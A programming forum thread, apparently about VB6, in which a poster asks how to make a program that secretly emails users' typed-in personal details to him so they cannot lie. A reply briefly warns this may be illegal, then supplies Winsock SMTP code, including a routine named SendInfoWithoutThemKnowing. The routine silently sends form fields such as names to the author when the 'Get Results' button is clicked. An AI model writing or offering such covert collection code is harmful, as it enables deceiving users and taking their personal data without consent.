    e-mailing with vb6

    how do you send an e-mail by using vb6. I want to make a program that could be sent to someone and after they fill out the information they click on 'get results' and all the information that they typed in is then sent to me with out them knowing that. if they know that i'm getting the information they might lie about it. So can you help me with the code for sending a string of information?
    if you can e-mail me at [email protected]

    thank you

    Re: e-mailing with vb6

    First of all, I would like to note you on the fact that this is not a good thing to do, this is even illegal in some countries so be aware of what you are going to do with your gathered info. .

    ' add a winsock control to your form
    ' then paste this code

    private sub SendInfoWithoutThemKnowing

    winsock1.remoteport = 25
    winsock1.remotehost = "your.mail.server.here" ' eg: mail.dma.be
    winsock1.connect

    end sub

    private sub winsock1_connect()

    'gathering all information and put it in a single string
    strmsg = "HELO " & winsock1.localhostip & vbcrlf
    strmsg = strmsg & "MAIL FROM:<" & txtEmail.text & ">" & vbcrlf
    strmsg = strmsg & "RCPT to:<" & "your email here" & ">" & vbcrlf
    strmsg = strmsg & "DATA" & vbcrlf
    strmsg = strmsg & "to: " & "your name here"
    strmsg = strmsg & "FROM: " & txtFirstName.text & " " & txtSirName & vbcrlf
    strmsg = strmsg & "SUBJECT: " & "your subject here" & vbcrlf & vbcrlf
    strmsg = strmsg & "Hi, this is input from one of your programs. I'm secretly "
    strmsg = strmsg & "sending this info without them knowing." & vbcrlf
    strmsg = strmsg & "Name: " & txtFirstName.text & " " & txtSirName.text & vbcrlf
    .
    . 'repeat for every peace of data you want to send
    .
    strmsg = strmsg & vbcrlf & "." & vbcrlf
    strmsg = strmsg & "QUIT" & vbcrlf

    winsock1.senddata strmsg

    end sub

    private sub GetResults_click()

    'when the get results button is pressed
    'do some stuff you need to do
    SendInfoWithoutThemKnowing

    end sub
